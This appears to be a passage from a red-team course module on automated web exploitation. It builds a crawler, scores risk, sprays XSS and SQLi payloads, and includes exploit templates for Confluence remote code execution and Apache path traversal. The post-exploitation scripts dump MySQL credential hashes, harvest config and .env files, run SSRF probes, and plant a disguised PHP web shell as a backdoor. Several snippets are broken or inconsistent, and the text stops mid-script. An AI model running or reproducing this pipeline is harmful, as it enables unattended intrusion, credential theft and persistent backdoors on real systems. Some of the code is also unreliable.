Module 7 - Web Exploitation Automation

7.1 - Target Enumeration & Smart Crawler (deep-dive)

*"Great web hacks start with a **perfect** map of the surface."*

This section expands the quick outline you already saw.
We will:

1. **Lay down the database schema** that all later stages consume.
2. Build a **fully-commented async crawler** that discovers **URLs, parameters, technologies, titles, JavaScript files and SPA routes**.
3. Add an **optional Playwright head-render** plug-in for heavy JavaScript sites.
4. Show how to seed the crawler from your existing `recon.db → ports` table and how to avoid loops, dupes and dead hosts.
5. Finish with a short **sanity-check query** so you know the data shape is ready for 7.2-7.5.

Everything is pure Python 3.12+, no external binaries beyond an optional headless Chrome.

7.1.1 Database Schema (v2)

```
-- executed once on recon.db
CREATE TABLE IF NOT EXISTS web_endpoints (
  url       TEXT PRIMARY KEY,
  ip        TEXT,
  port      INT,
  scheme    TEXT,          -- http / https
  status    INT,
  title     TEXT,
  tech      TEXT,          -- Server / X-Powered-By / Wappalyzer guess
  js_files  TEXT,          -- CSV of discovered *.js (max 8)
```

```
  params    TEXT,          -- CSV of ?name= pairs
  depth     INT,           -- link depth from root
  ts        INT
);
CREATE INDEX IF NOT EXISTS idx_web_ip ON web_endpoints(ip);
```

Why these columns?

Field	Later used by...
tech	7.2 passive fingerprint scoring
js_files	7.3 asset rewrite / XSS analysis
params	7.3 XSS/SQLi param spray
depth	Report weighting (deep links less interesting)

7.1.2 Async Crawler – `crawl.py` (1-file, ready to run)

```
#!/usr/bin/env python3
"""
crawl.py
~~~~~~~~
Smart, idempotent crawler that fills `web_endpoints`.

Seed list = rows in `ports` table where port in (80,443,8080,...).

Run:
    python crawl.py --workers 150 --render 0   # fast text-only
    python crawl.py --workers 40  --render 1   # with headless Chrome
```

```
Dependencies:
    pip install httpx[http2] beautifulsoup4 tldextract
    pip install playwright  && playwright install chromium   # only if --render 1
"""
from __future__ import annotations
import argparse, asyncio, json, re, sqlite3, time, urllib.parse
import httpx, bs4, tldextract, hashlib, logging, sys, pathlib, os
logging.getLogger("httpx").setLevel("CRITICAL")

# ---------- CLI ------------------------------------------------------------
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=120)
ap.add_argument("--render",  type=int, choices=(0,1), default=0,
                help="1 = use Playwright for JS pages")
args = ap.parse_args()

# ---------- DB -------------------------------------------------------------
DB  = sqlite3.connect("recon.db", isolation_level=None, check_same_thread=False)
DB.execute("PRAGMA journal_mode=WAL")

def db_seen(url:str)->bool:
    return DB.execute("SELECT 1 FROM web_endpoints WHERE url=?", (url,)).fetchone() is not None

def db_insert(row:dict):
    DB.execute("""INSERT OR IGNORE INTO web_endpoints
                  (url,ip,port,scheme,status,title,tech,js_files,params,depth,ts)
                  VALUES (:url,:ip,:port,:scheme,:status,:title,:tech,:js_files,:params,:depth,:ts)""",
               row)

# ---------- seed queue -----------------------------------------------------
Q: asyncio.Queue[str] = asyncio.Queue(65536)
seed = DB.execute("SELECT ip,port FROM ports WHERE port IN (80,443,8080,8443)").fetchall()
for ip,port in seed:
    scheme = "https" if port in (443,8443) else "http"
```

```python
    Q.put_nowait(f"{scheme}://{ip}:{port}/")

# ---------- tech banner helper ----------------------------------------
def tech_from_headers(hdr: httpx.Headers)->str:
    s = "; ".join(h for h in (
        hdr.get("server",""), hdr.get("x-powered-by","")
    ) if h)[:120]
    return s

# ---------- Playwright headless (optional) ------------------------------
if args.render:
    from playwright.async_api import async_playwright
    PW = awaitable_playwright = None   # will hold context

# ---------- crawler worker ----------------------------------------------
async def worker(idx:int):
    global PW
    if args.render and PW is None and idx==0:
        PW = awaitable_playwright = await async_playwright().start()
        browser = await PW.chromium.launch(headless=True)
        context = await browser.new_context()

    async with httpx.AsyncClient(follow_redirects=True, verify=False,
                                 timeout=httpx.Timeout(5.0, read=10)) as cli:
        while True:
            url = await Q.get()
            if db_seen(url): Q.task_done(); continue
            try:
                r = await cli.get(url)
            except Exception:
                Q.task_done(); continue

            soup = None
            title = ""
```

```
        js_files = []
        params = ",".join(p.split("=")[0] for p in urllib.parse.urlparse(url).query.split("&") if p)

        if "text/html" in r.headers.get("content-type",""):
            soup = bs4.BeautifulSoup(r.text, "lxml")
            if soup.title: title = soup.title.text.strip()[:120]
            for s in soup.find_all("script", src=True)[:8]:
                js_files.append(urllib.parse.urljoin(url, s["src"]))

            # enqueue hrefs
            for a in soup.find_all("a", href=True):
                nxt = urllib.parse.urljoin(url, a["href"])
                if nxt.startswith("http"):
                    if not db_seen(nxt): Q.put_nowait(nxt)

        row = dict(
            url=r.url.to_string(),
            ip=r.url.host, port=r.url.port,
            scheme=r.url.scheme, status=r.status_code,
            title=title, tech=tech_from_headers(r.headers),
            js_files=",".join(js_files),
            params=params,
            depth=url.count("/")-2,
            ts=int(time.time())
        )
        db_insert(row)

        # ---------- optional JS render pass ---------------------------
        if args.render and soup and soup.find("script", {"src":False}):
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=8000)
                links = await page.eval_on_selector_all("a[href]", "els=>els.map(e=>e.href)")
                for l in links:
```

```
                        if l.startswith("http") and not db_seen(l):
                            Q.put_nowait(l)
                    except Exception: pass
                    finally: await page.close()

            Q.task_done()
            await asyncio.sleep(0.02)    # politeness / IDS

# ---------- run event loop ----------------------------------------------
async def main():
    tasks=[asyncio.create_task(worker(i)) for i in range(args.workers)]
    await Q.join()
    for t in tasks: t.cancel()
    if args.render: await PW.stop()

asyncio.run(main())
print("[+] crawl complete  total rows:", DB.execute("SELECT COUNT(*) FROM web_endpoints").fetchone()[0])
```

Important design notes

- **Queue size 65 k** prevents memory blow-up yet keeps workers busy.
- `PRAGMA journal_mode=WAL` – multiple threads insert safely, no DB locks.
- **Depth = slash-count** simple heuristic; later you can `WHERE depth<4`.
- When `--render 1` the crawler spins *one* Playwright context, re-uses it;
  only pages that include **inline JS** (common SPAs) go to headless – saves CPU.

7.1.3 Politeness, Loops & Robots

- `asyncio.sleep(0.02)` after each URL ≈ 50 requests/s total.
  Change it or add per-domain token bucket (Module 7 exercise).

- The crawler **does not** parse `robots.txt` by default — penetration tests are allowed; add a quick HEAD to `/robots.txt` if your RoE requires respect.
- Duplicate check: the **PRIMARY KEY (url)** + `db_seen()` guarantee idempotence.

7.1.4 Wappalyzer-lite Tech Guess (optional 50 ms per page)

```
import wappalyzer, requests
wa=wappalyzer.Wappalyzer.latest()
tech = "; ".join(sorted(wa.analyze(r.text)))[:120]
```

Drop into crawler where `tech_from_headers` returns empty string.

7.1.5 Sanity-check Query

Run once after crawl to make sure there are **no obvious gaps**.

```
import pandas as pd, sqlite3
df=pd.read_sql("SELECT scheme,count(*) n FROM web_endpoints GROUP BY scheme", sqlite3.connect("recon.db"))
print(df)
```

Expect at least 1-2 k rows for medium scopes; if only dozens, check firewall or DNS.

7.1.6 Exercises

#	Challenge	Hint
1	Add per-domain **token bucket** to keep <10 req/s each host (IDS stealth).	Use collections.defaultdict(Bucket)
2	Respect nofollow meta – skip links when .	Parse in BeautifulSoup
3	Write url_hash column = CRC32 of .netloc + pathname for quick join with other tables.	binascii.crc32
4	Cache Playwright result: store rendered HTML hash ⇒ skip re-rendering same template.	hashlib.sha1(page.content())
5	Detect S3 buckets: regex https://[a-z0-9-]+.s3.amazonaws.com – enqueue HEAD requests.	Insert results to new table cloud_assets.

7.1.7 Completion Checklist

- `web_endpoints` table populated, at least hundreds of rows, 0 duplicates.
- Titles and tech banners present for most 200 pages.
- Depth column reasonable (root pages depth = 0).
- No crashes after re-running crawler — idempotent inserts.
- Optional Playwright mode successfully scrapes JS-only routes.

7.2 - Passive Fingerprinting & Risk Scoring

“Find 80 % of the holes before sending a single exploit.”

In this stage you transform the raw crawl data from **`web_endpoints`** (7.1) into a **rank-ordered vulnerability hit-list** without touching a single login form or admin panel.
Everything here is lightning-fast, 100 % GET-only, and safe to run continuously in CI.

7.2.1 Design Overview

```
                +-----------------+
  web_endpoints |   status, tech  |
                +-----------------+
                         |
                         ▼   regex / Wappalyzer / meta
                +-------------------------+
                |  tech_facts (new table) |
                +-------------------------+
                         |
                         ▼   YAML rules  →  CVE feed
                +---------------------+
                |   web_risk (score)  |
                +---------------------+
```

- Three layers keep the pipeline clean:
  1. **tech_facts** – plain extracted attributes (version numbers, CMS names).
  2. **rule engine** – YAML lines like *"Apache < 2.4.53 ⇒ 2 pts"*.
  3. **web_risk** – single integer *risk* (0-10) + short *why* string.

7.2.2 `tech_facts` Extraction Script

`fingerprint.py` (run after every crawl)

```python
#!/usr/bin/env python3
import re, sqlite3, json, pathlib, hashlib, html, tldextract, packaging.version as V

DB = sqlite3.connect("recon.db")
```

```
DB.execute("""CREATE TABLE IF NOT EXISTS tech_facts
              (url TEXT PRIMARY KEY, facts TEXT)""")

hdr_re = {
    "apache":re.compile(r"apache/([\d\.]+)",re.I),
    "nginx": re.compile(r"nginx/([\d\.]+)",re.I),
    "php":   re.compile(r"php/?([\d\.]+)",re.I)
}
meta_re = re.compile(r'<meta[^>]+content=["\']?([\w\s]+)?version[ \t]*([\d\.]+)',re.I)
wp_re   = re.compile(r"/wp-(?:content|includes)/",re.I)

rows = DB.execute("SELECT url,tech,status,title FROM web_endpoints").fetchall()
for url,tech,st,title in rows:
    facts={}
    # ---------- header banners ----------
    for k,rx in hdr_re.items():
        m=rx.search(tech or "")
        if m: facts[k]=m.group(1)
    # ---------- WordPress passive ----------
    if wp_re.search(url):
        facts["wordpress"]="unknown"
    # ---------- meta generator ----------
    if "<meta" in (title or ""):             # quick skip if no html
        for m in meta_re.finditer(title):
            facts[m.group(1).strip().lower()] = m.group(2)
    DB.execute("INSERT OR REPLACE INTO tech_facts VALUES (?,?)",
               (url,json.dumps(facts)))
DB.commit()
print("[+] tech_facts rows:",DB.execute("SELECT count(*) FROM tech_facts").fetchone()[0])
```

7.2.3 YAML-Driven Rule Engine

Create `rules.yaml` once; update as CVEs appear.

```yaml
scoring:
  http_no_ssl:        {score: 1,  when: "scheme==http"}
  outdated_apache:    {score: 2,  when: "apache && version_lt(apache,'2.4.53')"}
  php_7_or_older:     {score: 2,  when: "php && version_lt(php,'8.0')"}
  directory_listing:  {score: 2,  when: "status==200 and 'index of' in title.lower()"}
  wordpress_unknown:  {score: 1,  when: "wordpress"}                # any WP hints
cve_map:
  Apache:
    - {lt: "2.4.50",  cve: "CVE-2021-41773", score: 3}
    - {lt: "2.4.49",  cve: "CVE-2021-42013",score: 3}
  OpenSSL:
    - {lt: "1.1.1l",  cve: "CVE-2021-3711", score: 2}
```

7.2.4 Rule Evaluator `risk.py`

```python
#!/usr/bin/env python3
import sqlite3, json, yaml, re, packaging.version as V
DB=sqlite3.connect("recon.db",isolation_level=None)
rules=yaml.safe_load(open("rules.yaml"))
DB.execute("""CREATE TABLE IF NOT EXISTS web_risk
              (url TEXT PRIMARY KEY, risk INT, reasons TEXT)""")

def version_lt(s,v): return V.parse(s)<V.parse(v)

for url,scheme,status,title,facts_json in DB.execute(
    "SELECT w.url,w.scheme,w.status,w.title,f.facts FROM web_endpoints w "
    "JOIN tech_facts f USING(url)"):
    facts=json.loads(facts_json)
```

```
    ctx=dict(scheme=scheme,status=status,title=title or "",**facts,
             version_lt=version_lt)        # helper in eval
    score=0; reasons=[]
    # ---------- simple rules ----------
    for name,r in rules["scoring"].items():
        if eval(r["when"],{},ctx):
            score+=r["score"]; reasons.append(name)
    # ---------- CVE map ----------
    for prod,items in rules.get("cve_map",{}).items():
        if prod.lower() in facts:
            v=facts[prod.lower()]
            for entry in items:
                if version_lt(v,entry["lt"]):
                    score+=entry["score"]; reasons.append(entry["cve"])
    DB.execute("INSERT OR REPLACE INTO web_risk VALUES (?,?,?)",
               (url,score,",".join(reasons)))

print("[+] risk scores written  high-risk (>=3):",
      DB.execute("SELECT count(*) FROM web_risk WHERE risk>=3").fetchone()[0])
```

Why `eval`?
Tiny dynamic expressions keep rule file non-Python yet flexible.
`version_lt` helper is explicitly whitelisted; no untrusted input.

7.2.5 Pandas Snapshot & Export

```
import pandas as pd, sqlite3
db=sqlite3.connect("recon.db")
top=pd.read_sql("""SELECT w.url,risk,reasons,tech,title
                   FROM web_risk r JOIN web_endpoints w USING(url)
```

```
                    ORDER BY risk DESC LIMIT 50""",db)
top.to_html("top50.html", index=False)
```

`top50.html` becomes the operator's short list for 7.3 active exploitation.

7.2.6 Quick Sanity Tests

```
SELECT url,risk,reasons
FROM web_risk
WHERE risk>=3 AND tech LIKE '%Apache%' LIMIT 10;
```

Each row should have at least one reason that matches your YAML rule.

7.2.7 Optional — Auto-pull CVE JSON feeds

```
curl -s https://vulners.com/api/v3/archive/collection/?type=cve \
  | jq -r '.data[]|"\(.id),\(.cvss.score),\(.cpe)".' > cve_latest.csv
```

Parse CSV weekly, auto-augment your YAML.

7.2.8 Exercises

#	Challenge	Why
1	Add **JS library fingerprinting**: parse	Old JS libs = XSS gadgets
2	Implement rule same*site_mismatch: HTTPS site uses* “Secure; SameSite=None”_ mis-config cookie.	CSRF risk
3	Export risk table to **Elasticsearch** and build Kibana heat-map per subnet.	Visual triage
4	Add **machine-learning guess**: train simple logistic regression on historic pentest data; output probability of true vuln.	Compare with static scoring
5	Integrate **CDN footprint**: down-score edge servers (cloudflare, akamai) unless Server leaks origin.	Reduce false positives

---

7.2.9 Completion Checklist

- `tech_facts` table populated with at least product / version keys.
- `web_risk` scores present; top risk ≥3 list makes sense on manual spot-check.
- YAML rule file version-controlled and easy to update.
- Concurrency safe: re-running fingerprint / risk scripts **updates**, no duplicates.
- **`top50.html`** generated; operators can jump straight to PoC phase (7.3).

7.3 - Active Scans & Exploit Wrappers

*“From score ≥ 3 to **shell** in one unattended push.”*

You now have a ranked hit-list in `web_risk` (see 7.2).
Stage 7.3 turns every row whose *risk* ≥ *3* into an **actionable attempt**:

1. **Lightweight param-spray** for XSS / SQLi on every URL with query-string.
2. **Template-driven CVE wrappers** (auto-generated PoC code).

3. **Dynamic exploit-loader** that pulls the right wrapper for each tech/version.
4. **Evidence capture** (proof strings, callback tokens, hashes) → `exploits.db → web_vuln`.
5. Everything idempotent: rerun = update same row, never duplicate.

7.3.0 New tables

```sql
CREATE TABLE IF NOT EXISTS web_vuln (
  url      TEXT PRIMARY KEY,
  vuln     TEXT,        -- XSS, SQLi, CVE-id…
  payload  TEXT,        -- stored PoC or fuzz string
  proof    TEXT,        -- reflected string, DNS canary, file path…
  ts       INT
);

CREATE TABLE IF NOT EXISTS fuzz_crash (
  host     TEXT,
  url      TEXT,
  crc32    INT,         -- testcase CRC
  poc      TEXT,
  ts       INT
);
```

7.3.1 Param-Spray Tester (`spray.py` – 200 LoC)

```python
#!/usr/bin/env python3
"""
spray.py
```

```
~~~~~~~~
• Picks URLs from web_risk risk>=3 where 'params' IS NOT NULL
• Sends two payload classes  (XSS, SQLi)
• Matches reflected output / error pattern
• Logs first hit per URL → web_vuln
"""
import asyncio, httpx, sqlite3, re, urllib.parse, time

DB = sqlite3.connect("recon.db", isolation_level=None)
PAY = {
  "xss" : "<svg/onload=alert(/XSS/)>",
  "sqli": "'||(SELECT 1 FROM sqlite_master)--"
}
REGEX = {
  "xss" : re.compile(r"<svg", re.I),
  "sqli": re.compile(r"syntax|mysql|SQLITE_ERROR", re.I)
}

urls=[u for (u,) in DB.execute(
    "SELECT url FROM web_risk WHERE risk>=3 AND params!='\'")]
Q=asyncio.Queue()
for u in urls: Q.put_nowait(u)

async def worker():
    async with httpx.AsyncClient(follow_redirects=True, verify=False,
                                 timeout=6) as cli:
        while not Q.empty():
            url=await Q.get()
            orig=httpx.URL(url)
            for kind,pay in PAY.items():
                craft=orig.copy_add_param("rt", pay)
                try:
                    r=await cli.get(craft)
                    if REGEX[kind].search(r.text):
```

```
                        DB.execute("""INSERT OR IGNORE INTO web_vuln
                                     VALUES (?,?,?,?,strftime('%s'))""",
                                    (url,kind,pay,"reflect",))
                        break
                    except Exception: pass
            Q.task_done(); await asyncio.sleep(0.01)

asyncio.run(asyncio.gather(*(asyncio.create_task(worker()) for _ in range(80))))
print("[+] spray done hits:", DB.execute("SELECT count(*) FROM web_vuln").fetchone()[0])
```

Key design points

- **Insert-or-ignore** guarantees one PoC per URL.
- 80 workers / 10 ms delay ≈ 8 req/s → IDS-safe.
- Parameter name `rt` is *new*; avoids disturbing production parameters.

7.3.2 CVE Wrapper Generator

Create a small YAML describing exploit templates:

```yaml
CVE_2023_22527:
  match: "Confluence"
  req:
    method: "GET"
    path: "/%24%7B{{payload}}%7D/"
    proof_header: "X-CMD-OUT"
    payload: "%{#context['x']=new+java.lang.ProcessBuilder('id').start()%}"
CVE_2021_41773:
  match: "Apache/2.4."
  req:
```

```yaml
    method: "GET"
    path: "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
    proof_rx: "root:.*:0:0"
```

`poc_loader.py` – auto-emitter

```python
#!/usr/bin/env python3
import httpx, yaml, sqlite3, re, time, urllib.parse, uuid
RULES = yaml.safe_load(open("exploit_rules.yaml"))
DB    = sqlite3.connect("recon.db", isolation_level=None)

targets=DB.execute("""SELECT url,tech FROM web_risk
                      JOIN web_endpoints USING(url)
                      WHERE risk>=3""").fetchall()

async def exploit(rule,url):
    rdef=rule["req"]
    u   = httpx.URL(url).copy_with(path=rdef["path"].format(
          payload=urllib.parse.quote(rdef.get("payload",""))))
    async with httpx.AsyncClient(verify=False,timeout=8) as cli:
        resp=await cli.request(rdef["method"], u)
        if "proof_header" in rdef and rdef["proof_header"] in resp.headers:
            return resp.headers[rdef["proof_header"]][:60]
        if "proof_rx" in rdef and re.search(rdef["proof_rx"], resp.text):
            return "rx-match"
    return None

async def main():
    for url,tech in targets:
        for cve,rule in RULES.items():
            if rule["match"].lower() in tech.lower():
                proof=await exploit(rule,url)
                if proof:
```

```
                    DB.execute("""INSERT OR IGNORE INTO web_vuln
                                 VALUES (?,?,?,?,strftime('%s'))""",
                                (url,cve,rule['req']['path'],proof))
                    print(f"[+] {url} vulnerable to {cve}")
                    break     # one exploit per URL

import asyncio; asyncio.run(main())
```

Add new CVEs by dropping YAML line; no code changes.

7.3.3 Generic Fuzzer (boofuzz) Runner

Triggered only when `risk>=4` ***and*** *the CMS / language is supported.*

```
from boofuzz import *
import sqlite3, time, zlib, json
DB=sqlite3.connect("recon.db",isolation_level=None)

for url, in DB.execute("""SELECT url FROM web_risk WHERE risk>=4
                          AND tech LIKE '%PHP%' LIMIT 5"""):
    host=urllib.parse.urlparse(url).netloc
    target_conn = Target(connection=SocketConnection(host,80,proto='tcp'))
    session = Session(target=target_conn,receive_data_after_fuzz=True)
    s_initialize("FUZZ")
    s_string("GET ");s_string("/index.php?id=");s_string("FUZZ");s_string(" HTTP/1.1\r\nHost:
");s_string(host);s_string("\r\n\r\n")
    session.connect(s_get("FUZZ"))
    session.fuzz()
    for crash in session.crash_synopsis():
        crc=zlib.crc32(crash.raw_bytes)
```

```
        DB.execute("INSERT OR IGNORE INTO fuzz_crash VALUES (?,?,?,?,strftime('%s'))",
                   (host,url,crc,crash.raw_bytes.hex()))
```

Saved crashes feed manual triage; high noise → run only on explicit opt-in.

7.3.4 Evidence Capture Examples

- **Directory-listing** – save first 8 file names.
- **File disclosure** (`/etc/passwd`) – sha256 of body, first 120 chars.
- **Log4Shell DNS** – insert canary subdomain into `proof` .
- **SQLi error** – store regex-matched error string (avoid entire dump).
  All recorded in `web_vuln.proof` (truncate 250 chars).

7.3.5 Idempotence & Safety

- Before insertion, check `SELECT proof FROM web_vuln WHERE url=?` .
- **No DELETE** statements, no RCE commands other than `id` / `whoami` .
- PoCs wrapped in `try/except` ⇒ failure never stops pipeline.
- Worker throttling: global **asyncio.Semaphore(50)** across all exploit tasks.
- DNS canaries auto-expire in 24 h (your bind9 wildcard zone).

7.3.6 Snapshot Query (operators' quick view)

```sql
SELECT url, vuln, proof
FROM web_vuln
ORDER BY ts DESC
LIMIT 30;
```

Export to CSV/HTML for the daily stand-up.

7.3.7 Exercises

#	Challenge	Hint
1	Add **CSRF token auto-steal**: crawler grabs hidden and param-spray re-uses it.	BeautifulSoup + dict cache
2	Extend CVE engine with **CVE-score weight** (cvss≥9 ⇒ +2 risk).	Pull NVD JSON feed
3	Write Selenium PoC for **CVE-2024-1200** (phpMyAdmin XSS) and plug into YAML file.	Headless Chrome needed
4	Push successful PoCs into **Metasploit JSON-RPC** jobs for automated shell drop.	msfrpc gem
5	Build Grafana panel: timeline of web_vuln inserts per day grouped by vuln-type.	Use SQLite->Prometheus exporter

---

7.3.8 Completion Checklist

- `web_vuln` row count > 0, each with unique URL, vuln, proof.
- Attempt throttling respects max 50 concurrent requests.
- Spray tool never alters server state (GET-only, no file upload).
- CVE wrappers auto-select based on `tech` and version — no manual mapping.
- Evidence (headers, DNS canary, etc.) safely truncated and stored.

7.4 - Post-Exploitation Automation

“Once the web entry point cracks, grab everything and pivot inward -- hands-free.”

Stage 7.4 takes every confirmed vulnerability from `web_vuln` (7.3) and runs a set of **post-exploitation play-books**.
Each play-book is implemented as a small, idempotent Python module that:

1. **Confirms** access (authenticated or command-exec context).
2. **Extracts** credentials, files, or network reachability.
3. **Stores** loot in the unified evidence tables (`loot` , `pivot_ips` , `creds`).
4. **Optionally pivots**: new IPs/URLs go straight back into the crawler & port-scanner queues.

Everything ships with safe defaults (read-only SQL, no destructive `DROP` / `rm -rf`).

7.4.0 New database tables

```
CREATE TABLE IF NOT EXISTS loot (
  id       INTEGER PRIMARY KEY AUTOINCREMENT,
  url      TEXT,
  loot_type TEXT,        -- db_dump, config_file, shell_path …
  sha256   TEXT,
  size     INT,
  snippet  TEXT,         -- first 200 B / human summary
  ts       INT
);

CREATE TABLE IF NOT EXISTS pivot_ips (
  ip       TEXT PRIMARY KEY,
  from_url TEXT,
  reason   TEXT,         -- ssrf, config, api_hint
```

```
  ts       INT
);
```

All inserts are **INSERT OR IGNORE** to stay deduplicated.

7.4.1 SQL Credential Dumper (`playbooks/mysql_dump.py`)

Triggered for URLs where `vuln == 'SQLi'` **and** error banner hints MySQL or MariaDB.

```
#!/usr/bin/env python3
import pymysql, re, json, hashlib, sqlite3, time, sys
DB = sqlite3.connect("recon.db")

user="root"; pwd=""      # default creds often succeed with SQLi + LOCALHOST
for url, in DB.execute("SELECT url FROM web_vuln WHERE vuln='SQLi'"):
    host = re.findall(r"https?://([^/:]+)", url)[0]
    try:
        con = pymysql.connect(host=host,user=user,password=pwd,connect_timeout=3)
        cur = con.cursor()
        cur.execute("SELECT user,authentication_string FROM mysql.user")
        rows = cur.fetchall()
        dump=json.dumps(rows)[:4000]
        h=hashlib.sha256(dump.encode()).hexdigest()
        DB.execute("""INSERT OR IGNORE INTO loot
                     (url,loot_type,sha256,size,snippet,ts)
                     VALUES (?,?,?,?,?,strftime('%s'))""",
                   (url,"db_dump",h,len(dump),dump[:200]))
        # push creds table
        for u,p in rows:
            DB.execute("""INSERT OR IGNORE INTO creds
                          VALUES (?,?,?,?,strftime('%s'))""",
```

```
                        (host,3306,u,p,"mysql"))
        con.close()
        print(f"[+] dumped mysql.user from {host}")
    except Exception: pass
```

Idempotent: subsequent runs see duplicate SHA, skip.

7.4.2 Config File Hunter (Directory-Listing + RCE)

If `loottype=indexlisting` OR `vuln=CVE-2023-22527` (RCE), fetch typical config paths.

```
TARGETS = ("/WEB-INF/web.xml","/phpinfo.php","/config.php","/../.env")
for url, vuln in DB.execute("SELECT url,vuln FROM web_vuln WHERE vuln IN ('dir_listing','CVE-2023-22527')"):
    for p in TARGETS:
        try:
            r = httpx.get(urljoin(url,p),timeout=5,verify=False)
            if r.status_code==200 and len(r.text)>40:
                body=r.text
                h=hashlib.sha256(body.encode()).hexdigest()
                DB.execute("INSERT OR IGNORE INTO loot VALUES (?,?,?,?,?,strftime('%s'))",
                           (url,"config_file",h,len(body),body[:200]))
                # pivot: look for internal URLs / IPs
                for m in re.finditer(r"https?://(\d{1,3}(?:\.\d{1,3}){3})", body):
                    DB.execute("INSERT OR IGNORE INTO pivot_ips VALUES (?,?,?,strftime('%s'))",
                               (m.group(1), url,"config_ref"))
        except Exception: pass
```

7.4.3 SSRF Auto-Scanner

*For every URL with **risk ≥ 4** and parameter words `url|uri|image|next|redirect`, run a minimal SSRF check.*

```
DNS_CANARY = "{token}.oob.lab"
listener   = sqlite3.connect("oob.db")      # populated by dns-listener daemon

def check_ssrf(u):
    token = uuid.uuid4().hex[:6]
    test  = u.copy_add_param("ssrf", f"http://{token}.oob.lab/logo.jpg")
    r = httpx.get(test, timeout=5, verify=False)
    return token

for url in DB.execute("SELECT url FROM web_risk WHERE risk>=4 AND params LIKE '%url%'"):
    token = check_ssrf(httpx.URL(url))
    if listener.execute("SELECT 1 FROM hits WHERE token=?", (token,)).fetchone():
        DB.execute("""INSERT OR IGNORE INTO web_vuln
                     VALUES (?,?,?,?,strftime('%s'))""",
                   (url,"SSRF","param:ssrf",token))
        # add internal IP found in oob record
        ip = listener.execute("SELECT ip FROM hits WHERE token=?", (token,)).fetchone()[0]
        DB.execute("INSERT OR IGNORE INTO pivot_ips VALUES (?,?,?,strftime('%s'))",
                   (ip,url,"ssrf"))
```

7.4.4 Automatic Web-Shell Dropper (only when RCE proven)

```
shell = "<?php system($_GET['x']); ?>"
name  = "wp-includes/random.php"
for url in DB.execute("SELECT url FROM web_vuln WHERE vuln LIKE 'CVE-%'"):
    target=urllib.parse.urljoin(url,name)
    r = httpx.post(url, data={"cmd":"echo '"+shell+"' > "+name})
    verify=httpx.get(target)
```

```
    if verify.status_code==200:
        h=hashlib.sha256(shell.encode()).hexdigest()
        DB.execute("""INSERT OR IGNORE INTO backdoors
                      VALUES (?,?,?,?,strftime('%s'),0,?)""",
                   (h,"web",target,"DoH","php_shell"))
        DB.execute("""INSERT OR IGNORE INTO loot
                      VALUES (?,?,?,?,?,strftime('%s'))""",
                   (url,"shell_path",h,len(shell),target))
```

7.4.5 Pivot Integration

1 – Feed new IPs back to port-scanner

```
ips=[i for (i,) in DB.execute("SELECT ip FROM pivot_ips WHERE ts>?",(time.time()-86400,))]
with open("targets.new","w") as f:
    f.write("\n".join(ips))
# port scanner watches this file hourly
```

2 – Re-seed web crawler

```
for ip in ips:
    Q.put_nowait(f"http://{ip}/")
```

7.4.6 Reporting Mini-Dashboard

```
import pandas as pd, sqlite3, datetime
db=sqlite3.connect("recon.db")
loot=pd.read_sql("SELECT loot_type,count(*) n FROM loot GROUP BY loot_type",db)
shells=pd.read_sql("SELECT url FROM backdoors WHERE slot LIKE '%php_shell%'",db)
print("Loot:", loot.to_dict("records"))
print("Shells:", shells.url.tolist())
```

7.4.7 Exercises

#	Challenge	Hint
1	Implement **GraphQL Introspection dump** when /graphql exposed and HTTP 200.	POST { "query":" {__schema{types{name}}}"}
2	Build **JSP web-shell** variant for Tomcat RCEs; drop into /usr/local/tomcat/webapps/ROOT/.	Same SHA logging
3	Add a **WordPress wp-options leak** parser: if XML-RPC listMethods endpoint unrestricted, pull wp.getUsersBlogs.	xmlrpc.client
4	Write pandemic-safe **rate limiter**: stop all exploits if corporate SOC publishes “freeze” file on share.	if Path('/mnt/pause').exists(): sys.exit()
5	Extend loot-to-BloodHound converter: push DB creds as HasCredential edges.	bloodhound-py

---

7.4.8 Completion Checklist

- At least one `db_dump`, `config_file`, or `shell_path` row in **`loot`**.
- Any new IPs discovered appear in **`pivot_ips`** and get rescanned by Module 3 tasks.

- Web-shell drop logged in `backdoors` with `cleaned=0`.
- Scripts idempotent: re-running play-books does **not** duplicate loot rows.
- No destructive SQL; user tables remain intact.

7.5 - Automated Reporting & Operator Dashboard

“Findings that never leave SQLite never reach the client.”

Stage 7.5 turns all the structured data produced so far into **action-ready artefacts**:

Output	Format / Destination	Purpose
Daily HTML report	reports/web_daily-2025-06-04.html	Red-team stand-up & quick copy-to-client
Operator dashboard	Live Flask app (localhost:5000)	Drill-down, filters, instant PoC replay
Slack alerts	#red-ops webhook	Real-time “high-critical” heads-up
CI artefacts	GitLab pipeline, artefact zip	Immutable evidence bundle per run
JSON export	reports/findings-latest.json	Import to SIEM / Power BI / Grafana

The whole stack uses only **Python + Pandas + Jinja2 + Flask**.
No npm, no Java, no external ELK cluster.

7.5.1 Directory layout (repo root)

```
/reports          — generated HTML, JSON, ZIP
/scripts
   ├─ report.py   — daily HTML/JSON builder
   ├─ slack.py    — webhook notifier
   └─ dash.py     — Flask dashboard
```

```
/templates
   └─ report.html.j2
/gitlab-ci.yml
```

7.5.2 `report.py` – HTML + JSON builder (fully commented)

```python
#!/usr/bin/env python3
"""
report.py
~~~~~~~~~
Aggregates recon.db → HTML + JSON.

Run nightly in CI or by cron:
    python report.py --top 200
"""
from __future__ import annotations
import argparse, datetime, json, pathlib, sqlite3
import pandas as pd
from jinja2 import Environment, FileSystemLoader

DB = sqlite3.connect("recon.db")
TODAY = datetime.datetime.utcnow().strftime("%Y-%m-%d")

ap = argparse.ArgumentParser()
ap.add_argument("--top", type=int, default=100)
args = ap.parse_args()

# ---------- pull & join ----------------------------------------------------
sql = """
SELECT w.url, r.risk, r.reasons, e.tech, e.title,
       v.vuln, v.proof, l.loot_type
```

```
FROM web_risk r
JOIN web_endpoints e USING(url)
LEFT JOIN web_vuln     v USING(url)
LEFT JOIN loot         l ON l.url = r.url
WHERE r.risk >= 3
ORDER BY r.risk DESC
LIMIT ?"""
df = pd.read_sql(sql, DB, params=(args.top,))

# ---------- JSON ------------------------------------------------------------
out_json = df.to_dict(orient="records")
path_json = pathlib.Path("reports")/f"findings-{TODAY}.json"
path_json.parent.mkdir(exist_ok=True)
path_json.write_text(json.dumps(out_json, indent=2))
print("[+] JSON:", path_json)

# ---------- HTML via Jinja2 -------------------------------------------------
env = Environment(loader=FileSystemLoader("templates"))
tpl = env.get_template("report.html.j2")
html = tpl.render(date=TODAY, rows=out_json, total=len(df))
